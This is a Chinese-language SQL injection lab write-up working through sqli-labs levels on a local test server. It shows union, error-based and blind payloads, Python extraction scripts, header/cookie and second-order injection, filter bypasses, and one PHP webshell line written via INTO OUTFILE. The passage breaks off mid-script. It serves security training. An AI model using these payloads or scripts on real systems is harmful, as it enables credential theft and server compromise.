sql注入


[TOC]

基础知识

mysql元数据库:information_schema:存储着所有的库名,表名和字段名;

information_schema

—————————— tables

————————————— table_name:表名

————————————— table_schema:表所属数据库名

——————————columns

—————————————column_name:字段名

————————————— table_name:字段所在表名

————————————— table_schema:字段所属库名

mysql常见注释:-- (--空格)/*...*//*!...*/

mysql常见函数:

@@datadir:数据库路径

@@version_compile_os:操作系统版本

length(str):字符串长度

substring(str, start_index, len), substr(), mid():截取字符串, start_index 以1开始

left(str, len):从左侧开始取 len 个字符,right相反

concat(),concat_ws(),group_concat()

  • concat():无分隔符的连接字符串
  • concat_ws():有分隔符的连接字符串,第一个字符串为分隔符
  • group_concat:连接一个组的字符串

ord(),ascii():返回ASCII码

floor():向下取整;round(x):返回最接近 x 的整数;rand():返回 0-1 之间的随机浮点数

load_file():读取文件,并返回文件内容作为一个字符串

sleep()if(true, t, f)

sql注入测试

以下测试都以 sqli-labs 靶场为例

字符型注入

Less-1:提示使用id作为一个参数,并且是数值

1-1

输入:http://127.0.0.1/sqli-labs/Less-1/?id=1页面显示正常,下面测试中省略http://127.0.0.1/sqli-labs/Less-1/

加单引号'测试:?id=1'报错

从报错信息可以我们猜测 sql 语句为单引号'闭合,我们测试下

输入:?id=1'--+页面正常

接下来,我们测试下有几列,order by测试:

order by 4时报错:?id=1' order by 4--+

order by 3时正常:?id=1' order by 3--+

测试看下是那几列会回显出来,这里使用联合查询union select

?id=0' union select 1,2,3--+

可以看到2,3列会回显出来:

我们在直观的看下:我们可以看到mysql版本,当前数据库名被成功回显:

?id=0' union select 1,version(),database()--+

那接下来就简单了:

查询表名:

?id=0' union select 1,version(),group_concat(table_name) from information_schema.tables where information_schema.tables.table_schema=database() --+

猜测用户,密码存储在 users 表中

查询字段名:

?id=0' union select 1,version(),group_concat(column_name) from information_schema.columns where information_schema.columns.table_schema=database() and information_schema.columns.table_name='users'--+

那最后直接脱裤吧:

?id=0' union select 1,group_concat(username),group_concat(password) from users--+

可以看到,所有的用户名和密码都被输出了

数值型注入

Less-2:?id=1'报错,从报错信息可以看出是数值型注入

payload:
查询表名:emails,referers,uagents,users
?id=0 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

查询字段名:id,username,password
?id=0 union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

查询username,password:
?id=0 union select 1,group_concat(username),group_concat(password) from users--+

报错注入

报错注入基础

前提

SQL注入之报错注入,有一个前提就是页面能够响应详细的错误描述,然而mysql数据库中显示错误描述是因为开发程序中采用了print_r mysql_error()函数,将mysql错误信息输出。

基础知识

在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:updatexml()extractvalue()

当这两个函数在执行时,如果出现xml文档路径错误就会产生报错。

  • updatexml() 函数

    • updatexml() 是一个使用不同的 xml 标记匹配和替换 xml 块的函数。
    • 作用:改变文档中符合条件的节点的值
    • 语法: updatexml(XML_document,XPath_string,new_value)
      • 第一个参数:string格式,为XML文档对象的名称
      • 第二个参数:代表路径,Xpath格式的字符串
      • 第三个参数:string格式,替换查找到的符合条件的数据
    • updatexml() 使用时,当xpath_string 格式出现错误,mysql 则会爆出 xpath 语法错误(xpath syntax)
    • 例如: select * from users where user_id = 1 and updatexml(1,concat(0x7e,database(),0x7e),3);由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。可以发现数据名在报错信息中

  • extractvalue() 函数

    • 此函数从目标XML中返回包含所查询值的字符串
    • 语法:extractvalue(XML_document,xpath_string)
      • 第一个参数:string格式,为XML文档对象的名称
      • 第二个参数:xpath_string(xpath格式的字符串),要查询的字符串
    • extractvalue()使用时当 xpath_string 格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
    • 例如:select * from users where user_id = 1 and extractvalue(1,concat(0x7e,database(),0x7e));由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。

  • floor() 函数

    • select count(*),floor(rand(0)*2) x from information_schema.character_sets group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

解释:

  • rand()函数产生01之间的随机浮点数;而rand(0)则固定了随机种子,所以每次产生的随机数都是相同的;rand(0)*2则是02之间的随机浮点数
  • floor()函数向下取整,所以floor(rand(0)*2)只会有两个值:0或1

eg:users 表有5列,可以看到每次产生的序列都是:0 1 1 0 1

  • group by()函数分类聚合,在字段后面加 x 是给这个字段取了个别名 x
  • conut()函数统计结果的记录数

综合使用count(*)group by就会报错 duplicate entry

报错原因解析

通过 floor报错的方法来爆数据的本质是 group by 语句的报错。group by 语句报错的原因

floor(rand(0)*2)的不确定性,即可能为 0 也可能为 1;

group by key 执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,

如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果

该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算

rand 值);

如果此时临时表只有 key 为 1 的行不存在 key 为 0 的行,那么数据库要将该条记录插入临

时表,由于是随机数,插时又要计算一下随机值,此时 floor(rand(0)*2)结果可能为 1,就

会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值;

实际测试中发现,出现报错,至少要求数据记录为 3 行,记录数超过 3 行一定会报错,2 行

时是不报错的。

实战

Less-5:没有回显,但是有报错信息

?id=1:页面显示正常,但是没有回显

?id=1':页面报错,从报错信息可以看出是'闭合

?id=1'--+:页面正常,可以确定就是'闭合

这里是没有回显的,但是有报错信息,所有我们可以尝试报错注入,当然布尔盲注也是可以的,但报错注入更快

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),3)--+:报错信息如下,可以看到数据库名已经出来了

表名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3)--+

字段名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3)--+

usename和password:?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x5e,password) from users),0x7e),3)--+但是很可惜这种方法不能显示全

所以我们用concat函数去连接,然后配合limit一个一个的显示

?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x5e,password) from users limit 0,1),0x7e),3)--+

?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x5e,password) from users limit 1,1),0x7e),3)--+

……

floor报错注入利用:

表名:
?id=0' union select count(*),1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2) )  x  from information_schema.tables group by x--+

字段名:
?id=0' union select count(*),1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2) ) x  from information_schema.tables group by x--+

username和password:
?id=0' union select count(*),1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e,floor(rand(0)*2) ) x from information_schema.tables group by x--+

导出文件GET字符型注入

load_file()读取文件
前提:1、用户权限足够高,尽量具有root权限。2、secure_file_priv不为NULL
into outfile()/dumpfile():其中 dumpfile() 只能读出一行数据,适用于二进制文件

布尔盲注

Less-7:也可以用布尔盲注,但是提示都给了 Use outfile 了>_<,经过测试'))闭合,这里大家可以写个脚本进行FUZZ

哭了:我的mysql的my.ini不能加上secure-file-prive=””,不然就启动不了mysql

不然就可以直接写入一句话木马了:?id=0')) union select 1,2,'<?php @eval($_GET['shell']); ?>' into outfile "路径/shell.php";

所以老老实实布尔盲注吧:

判断是否有布尔类型的状态:?id=1')) and 1=1--+页面正常;?id=1')) and 1=2--+页面报错,所以存在布尔类型的状态

这里我直接写了脚本跑,不然手动爆破太麻烦了,当然建议用bp。

import requests
from urllib import parse
url = "http://127.0.0.1/sqli-labs/Less-7/"

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
}

cookie = {
    "PHPSESSID": "ii64agl5dshuhsm9f7r6q27rt5",
    "security": "impossible"
}

session = requests.session()
database_name = ""
#爆破库名:security
"""
print("爆破数据库名....")
for l in range(1,9):
    for i in range(32, 128):
        urll = url + f"?id=1')) and ascii(substr((select database()),{l},1))={i}--+"
        response= session.get(url=urll, headers=headers, cookies=cookie)
        if "You are in.... Use outfile......" in response.content.decode():
            database_name += chr(i)
            print(database_name)
            break
"""

#爆破所有表名长度:29
"""
l = 0
print("爆破表名长度...")
while True:
    urll = url + f"?id=1')) and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={l}--+"
    response = session.get(url=urll, headers=headers, cookies=cookie)
    if "You are in.... Use outfile......" in response.content.decode():
        break
    l += 1
print(l)
"""

#爆破所有表名:emails,referers,uagents,users
"""
tables_name = ""
print("爆破表名...")
for k in range(1,30):
    for i in range(32, 128):
        urll = url + f"?id=1')) and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{k},1))={i}--+"
        response = session.get(url=urll, headers=headers, cookies=cookie)
        if "You are in.... Use outfile......" in response.content.decode():
            tables_name += chr(i)
            print(tables_name)    
            break
"""

#爆破字段长度:20
"""
column_len = 0
print("爆破字段长度...")
while True:
    urll = url + f"?id=1')) and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))={column_len}--+"
    response = session.get(url=urll, headers=headers, cookies=cookie)
    if "You are in.... Use outfile......" in response.content.decode():
        break
    column_len += 1
print(column_len)
"""

#爆破字段名:id,username,password
"""
columns_name = ""
print("爆破表名...")
for k in range(1,21):
    for i in range(32, 128):
        urll = url + f"?id=1')) and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{k},1))={i}--+"
        response = session.get(url=urll, headers=headers, cookies=cookie)
        if "You are in.... Use outfile......" in response.content.decode():
            columns_name += chr(i)
            print(columns_name)    
            break
"""

#爆破所有内容长度
ll = 0
print("爆破所有内容长度...")
while True:
    urll = url + f"?id=1')) and length((select group_concat(username,password) from users))={ll}--+"
    response = session.get(url=urll, headers=headers, cookies=cookie)
    if "You are in.... Use outfile......" in response.content.decode():  
        break
    ll += 1
print(ll)

#爆破字段内容
user_pass = ""
print("爆破字段内容...")
for k in range(1,ll+1):
    for i in range(32, 128):
        urll = url + f"?id=1')) and ascii(substr((select group_concat(username,0x7e,password) from users),{k},1))={i}--+"
        response = session.get(url=urll, headers=headers, cookies=cookie)
        if "You are in.... Use outfile......" in response.content.decode():
            user_pass += chr(i)
            print(user_pass)    
            break

时间盲注

以Less-9为例:

我们可以发现无论我们用什么闭合,页面都没有变化,所有这时我们考虑时间盲注。

首先我们得测试 sql 语句数值型还是字符型,以什么闭合。

这里我们介绍一下 and,跟 C 语言一样,A and B,如果A为假,则不会检验B;

所有我们利用?id = 1 and sleep(5);去测试如果前面为真,则会执行 sleep(5),这时浏览器很明显有延时;

当我们利用?id=1' and sleep(5);时,发现浏览器有明显的延时,所以可以确定为'闭合。

利用?id=1' and if(length(database())>10, sleep(5), 1);去爆破库名长度。

后面以同样的方法去爆破库名,表名,字段名和字段值。其实与布尔盲注差不多;

脚本如下:

import requests

url = "http://127.0.0.1/sqli-labs/Less-9/"

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
}

cookie = {
    "PHPSESSID": "ii64agl5dshuhsm9f7r6q27rt5",
    "security": "impossible"
}

session = requests.session()
#爆破所有表的长度:29
"""
tables_len = 0
print("爆破所有表的长度...")
while True:
    try:
        urll = url + f"?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={tables_len},sleep(3),1) --+"
        response = session.get(url=urll, headers=headers, cookies=cookie, timeout=3)
        tables_len += 1
    except Exception as e:
        break
print(tables_len)
"""

#爆破表名:emails,referers,uagents,users
"""
tables_name = ""
print("爆破表名...")
for k in range(1,30):
    for i in range(32, 128):
        try:
            urll = url + f"?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{k},1))={i},sleep(3),1)--+"
            response = session.get(url=urll, headers=headers, cookies=cookie, timeout=3)
        except Exception as e:
            tables_name += chr(i)
            print(tables_name)
            break
"""

#爆破字段长度:20
"""
columns_len = 0
print("爆破字段长度...")
while True:
    try:
        urll = url + f"?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))={columns_len},sleep(3),1) --+"
        response = session.get(url=urll, headers=headers, cookies=cookie, timeout=3)
        columns_len += 1
    except Exception as e:
        break
print(columns_len)
"""

#爆破字段名
"""
columns_name = ""
print("爆破字段名...")
for k in range(1,21):
    for i in range(32, 128):
        try:
            urll = url + f"?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{k},1))={i},sleep(2),1)--+"
            response = session.get(url=urll, headers=headers, cookies=cookie, timeout=2)
        except Exception as e:
            columns_name += chr(i)
            print(columns_name)
            break
"""

#爆破字段内容长度:188
l = 0
print("爆破字段内容长度...")
while True:
    try:
        urll = url + f"?id=1' and if(length((select group_concat(username,0x7e,password) from users))={l},sleep(3),1) --+"
        response = session.get(url=urll, headers=headers, cookies=cookie, timeout=3)
        l += 1
    except Exception as e:
        break
print(l)

#爆破字段内容
columns = ""
print("爆破字段内容...")
for k in range(1,l+1):
    for i in range(32, 128):
        try:
            urll = url + f"?id=1' and if(ascii(substr((select group_concat(username,0x7e,password) from users),{k},1))={i},sleep(2),1)--+"
            response = session.get(url=urll, headers=headers, cookies=cookie, timeout=2)
        except Exception as e:
            columns += chr(i)
            print(columns)
            break

Header Injection

User-Agent 注入

Less-18:代码审计

<?php   
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['uname']) && isset($_POST['passwd'])){
    
	$uname = check_input($_POST['uname']); //检查过滤
	$passwd = check_input($_POST['passwd']);//检查过滤
	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; //uname和passwd都被过滤了,没有注入点
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
	if($row1) {
		$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; //uagent存在注入点
		mysql_query($insert);
		echo 'Your User Agent is: ' .$uagent;
		print_r(mysql_error());			
	} else {
		print_r(mysql_error());
	  }
}
?>

注意:insert 语句有 3 个参数,所以我们在构造 uagent 时要把 ip_address, username 给构造上,并且最右边还有一个 )去闭合(

题目有报错,所以直接报错注入:这里必须要输入第一个正确的用户名,密码;我们从前面的关卡中知道用户名/密码:Dumb/Dumb

User-Agent:
#表名
1',2,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3))#
#字段名
1',2,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3))#
#username password
1',2,updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),3))#
1',2,updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),3))#
......

Referer 注入

Less-19:代码审计,跟上面的 User-Agent 注入一样,换了个注入字段而已

<?php
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['uname']) && isset($_POST['passwd'])) {
	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);
	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
	if($row1) {
		$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
		mysql_query($insert);		
		echo 'Your Referer is: ' .$uagent;
	}
?>

Less-20:联合查询,报错注入两者都行

解释一下下面的PHP代码的关键部分:

如果我们登录时没有携带 cookie,则执行上面的 if 逻辑,会将用户名 username 设置为 cookie 的键值,uname 作为名字,然后在定向到该页面,而此时是带有 cookie 值的,所以执行下面的 else 逻辑,将 cookie 值作为 username 进行查询。

这是存在漏洞的,在上面的 if 逻辑中,对我们输入的 username,password进行了检查过滤,所以这里的查询是没有注入点的;在下面的 else 逻辑中,cookie 值本来应该是过滤后的username,本来是不存在问题的;但是如果我们一开始就带有 cookie 呢?

<?php
if(!isset($_COOKIE['uname'])) {
	if(isset($_POST['uname']) && isset($_POST['passwd'])) {
		
        $uname = check_input($_POST['uname']);
		$passwd = check_input($_POST['passwd']);
		$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
		$result1 = mysql_query($sql);
		$row1 = mysql_fetch_array($result1);
		$cookee = $row1['username'];
		if($row1) {
			setcookie('uname', $cookee, time()+3600);	
			header ('Location: index.php');	
			print_r(mysql_error());			
		} else {
			print_r(mysql_error());
		}
	}
} else {
	if(!isset($_POST['submit'])) {
		$cookee = $_COOKIE['uname'];
		$format = 'D d M Y - H:i:s';
		$timestamp = time() + 3600;
		$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
		$result=mysql_query($sql);
		if (!$result) {
  			die('Issue with your mysql: ' . mysql_error());
  		}
      	$row = mysql_fetch_array($result);
		if($row) {
		  	echo 'Your Login name:'. $row['username'];
			echo 'Your Password:' .$row['password'];
			echo 'Your ID:' .$row['id'];
		}	
    }
}
?>
cookie字段
#报错注入查询字段内容
uname=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),3)#
#联合查询字段内容
uname=1' union select 1,group_concat(username),group_concat(password) from users--+

Less-21:跟Less-20一样,只是对 cookie 进行了 base64 解码操作,且闭合方式为')

<?php
if(!isset($_COOKIE['uname'])) {
	if(isset($_POST['uname']) && isset($_POST['passwd'])) {
	
		$uname = check_input($_POST['uname']);
		$passwd = check_input($_POST['passwd']);
		
		$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
		$result1 = mysql_query($sql);
		$row1 = mysql_fetch_array($result1);
		if($row1) {
			setcookie('uname', base64_encode($row1['username']), time()+3600);	
            print_r(mysql_error());			
			header ('Location: index.php');
		} 
	}
} else {
	if(!isset($_POST['submit'])) {
		$cookee = $_COOKIE['uname'];
		$format = 'D d M Y - H:i:s';
		$timestamp = time() + 3600;
		echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
		echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];					
		echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
		
		$cookee = base64_decode($cookee); //对cookie进行base64解码操作
		$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1"; //闭合方式 ')
		$result=mysql_query($sql);
		if (!$result) {
  			die('Issue with your mysql: ' . mysql_error());
  		}
		$row = mysql_fetch_array($result);
		if($row) {
		 	echo 'Your Login name:'. $row['username'];
			echo 'Your Password:' .$row['password'];
			echo 'Your ID:' .$row['id'];
		} 
	} else {
		setcookie('uname', base64_encode($row1['username']), time()-3600);
		header ('Location: index.php');
	}			
}
?>
cookie字段
#报错注入查询字段内容
uname=base64_encode("1') and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),3)#")
uname = MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGNvbmNhdCh1c2VybmFtZSwweDdlLHBhc3N3b3JkKSBmcm9tIHVzZXJzIGxpbWl0IDEsMSksMHg3ZSksMykj
#联合查询字段内容
uname=base64_encode("1') union select 1,group_concat(username),group_concat(password) from users#")
uname = MScpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdCh1c2VybmFtZSksZ3JvdXBfY29uY2F0KHBhc3N3b3JkKSBmcm9tIHVzZXJzIw==

Less-22:同Less-21对 cookie 进行base64解码,但是是"闭合

update

Less-17:这题是一个修改账户密码的密码重置题:

根据我们输入进去的账户名去数据库查看其用户名和相对应的密码,如果账户名正确那么将会把数据库里的密码改成我们输入的密码。 所以在username我们必须输入一个在数据库中存在的账户,在 New Password 存在报错注入;代码审计一波!!!

在最后一步爆字段内容时候,会报错,原因是 mysql 数据不支持查询和更新是同一张表。所以我们需要加一个中间表。这个关卡需要输入正确账号因为是密码重置页面,所以爆出的是该账户的原始密码。如果查询时不是users表就不会报错。

#下面语句中 as 可加可不加
#查询用户名
1' and (extractvalue(1,concat(0x5c,(select username from (select username from users limit 0,1) b) ,0x5c)))#
#查询密码
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users limit 0,1) b) ,0x5c)))#
#直接查询用户名和密码
1' and (extractvalue(1,concat(0x5c,(select concat(username,0x7e,password) from (select username,password from users) as b limit 0,1) ,0x5c)))#

php部分源码:

<?php
function check_input($value) {
	if(!empty($value)) {
		$value = substr($value,0,15); //取value的前15个字符
	}
	// Stripslashes if magic quotes enabled
	if (get_magic_quotes_gpc()) {
		$value = stripslashes($value);
	}
	// Quote if not a number
	if (!ctype_digit($value)) {
		$value = "'" . mysql_real_escape_string($value) . "'";
	} else {
		$value = intval($value);
	}
	return $value;
}

if(isset($_POST['uname']) && isset($_POST['passwd'])) {
	//making sure uname is not injectable
	$uname=check_input($_POST['uname']);  //对uname进行检查过滤,所以无法通过uname进行注入
	$passwd=$_POST['passwd']; //但是没有对passwd进行检查

	@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; //没有注入点
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row) {	
		$row1 = $row['username'];  
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; //上面并没有对passwd进行过滤
		mysql_query($update);
	}
}
?>

二次注入

原理

二次注入可以理解为:攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

比如:第一次进行数据库插入数据的时候,使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string 等函数对其中的特殊字符进行了转义,但是这些函数有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。

二次注入,可以概括为以下两步:

  • 第一步:插入恶意数据
    进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
  • 第二步:引用恶意数据
    开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

二次注入

例题

Less-24:

创建账号关键代码:虽然 username,pass经过了 mysql_escape_string 函数的转义处理,但是当插入数据库时,还是插入的原数据

<?php
if (isset($_POST['submit'])) {
	$username=  mysql_escape_string($_POST['username']) ;
	$pass= mysql_escape_string($_POST['password']);
	$re_pass= mysql_escape_string($_POST['re_password']);
	$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
}
?>

可以看到我们创建的账号 admin’# 和 1’ or 1=1# 被原封不动的插入了数据库

修改密码关键代码:username 直接从数据库中取出,所以"UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";就变成了:"UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass' ";所以就成功修改了 admin 用户的密码

<?php
if (isset($_POST['submit'])) {
	$username= $_SESSION["username"];
	$curr_pass= mysql_real_escape_string($_POST['current_password']);
	$pass= mysql_real_escape_string($_POST['password']);
	$re_pass= mysql_real_escape_string($_POST['re_password']);
	if($pass==$re_pass) {	
		$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
		$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
		//$row = mysql_affected_rows();
	}
}
?>

过滤绕过

注释过滤

Less-23:注释好像被过滤了,我们可以使用;%00注释,也可以闭合后面的相关符号,下面采用第二种方法

?id=2页面正常回显;?id=2':页面报错,应该是'闭合

然后尝试?id=2'--+?id=2'#?id=2'/**/发现页面还是报错,所以猜测过滤了注释;所以我们还得闭合后面的'

这里页面是有回显的,我们尝试联合查询,这里不能用 order by 去判断列了,所以我们手动 union select 1,2,3…去看看第几列会出错

我们发现?id=2' union select 1,2,3,'4时页面报错,说明只有3列,注意4前面的'是为了闭合后面的'

#表名
?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),'3
#字段名
?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'3
#字段内容
?id=0' union select 1,(select group_concat(username,0x7e,password) from users),'3

代码审计关键点:

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

单次过滤

Less-25:'闭合,对 or , and 进行了过滤(从Hint输出也可以看出),但是没有进行递归过滤,所以可以双写绕过或者使用&&,||

function blacklist($id) {
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
	return $id;
}

当我们输入:?id=1 and 1=1时,Hint 只输入了:1 1=1,and 明显被过滤了

#字段内容 password 要把 or 写成 oorr 从而绕过检查
?id=0' union select 1,2,(select group_concat(username,0x7e,passwoorrd) from users)--+

空格过滤

Less-26:'闭合,对 and , or , 空格 , 注释进行了过滤

function blacklist($id) {
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);	//Strip out slashes
	return $id;
}

对于or, and , 注释过滤绕过上面有,对于空格过滤有以下方法:

空格过滤一些绕过姿势
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
/**/
`` 包裹表名和列名
()

但是因为 Apache 解析的问题Windows 只能使用 () 去进行绕过空格>_<这么多()看着真烦人

这里有报错,用报错注入吧,当然也可以联合查询毕竟有回显,但是联合查询空格更多>_<

#数据库名
?id=1'aandnd(extractvalue(1,concat(0x7e,database(),0x7e)))oorr'1
#表名
?id=1'aandnd(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e)))oorr'1
#字段名
?id=1'aandnd(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_schema=database())anandd(table_name='users'))),0x7e)))oorr'1
#字段内容,由于报错注入输出长度有效,所以我们使用substr函数逐段输出
?id=1'aandnd(extractvalue(1,concat(0x7e,substr((select(group_concat(username,0x7e,passwoorrd))from(users)),1,30),0x7e)))oorr'1

关键字过滤

Less-27:'闭合,注释过滤,这里我们采用;%00进行注释绕过;并对 union , select 进行了相关过滤,尝试双向绕过或者大小写绕过

function blacklist($id) {
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --.
	$id= preg_replace('/[#]/',"", $id);			//Strip out #.
	$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
	$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
	$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
	$id= preg_replace('/union/s',"", $id);	    //Strip out union
	$id= preg_replace('/select/s',"", $id);	    //Strip out select
	$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
	$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
	$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
	$id= preg_replace('/Select/s',"", $id);	    //Strip out select
	return $id;
}

有报错,报错注入

#数据库名
?id=1'and(extractvalue(1,concat(0x7e,database(),0x7e)));%00
#表名
?id=1'and(extractvalue(1,concat(0x7e,(SElect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e)))or'1
#字段名
?id=1'and(extractvalue(1,concat(0x7e,(SElect(group_concat(column_name))from(information_schema.columns)where((table_schema=database())and(table_name='users'))),0x7e)));%00
#字段内容,由于报错注入输出长度有效,所以我们使用substr函数逐段输出
?id=1'and(extractvalue(1,concat(0x7e,substr((SElect(group_concat(username,0x7e,password))from(users)),1,30),0x7e)))or'1

Less-28:'闭合,过滤了 union select组合;;%00绕过注释过滤;页面有变化,布尔盲注或时间盲注

function blacklist($id) {
	$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
	$id= preg_replace('/[--]/',"", $id);				//Strip out --.
	$id= preg_replace('/[#]/',"", $id);					//Strip out #.
	$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
	//$id= preg_replace('/select/m',"", $id);	   		 //Strip out spaces.
	$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
	$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
	return $id;
}

下面脚本分别用布尔盲注和时间盲注爆破表名;字段名,字段内容稍微改改即可

import requests

url = "http://127.0.0.1/sqli-labs/Less-28/"

headers = {
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
}

cookies = {
    "PHPSESSID":"3r827l73p2i73fkjq788sqbce4"
}


def dbs():
    print("爆破数据库名...")
    database_name = ""
    session = requests.session()
    for l in range(1,9):
        for i in range(32, 129):
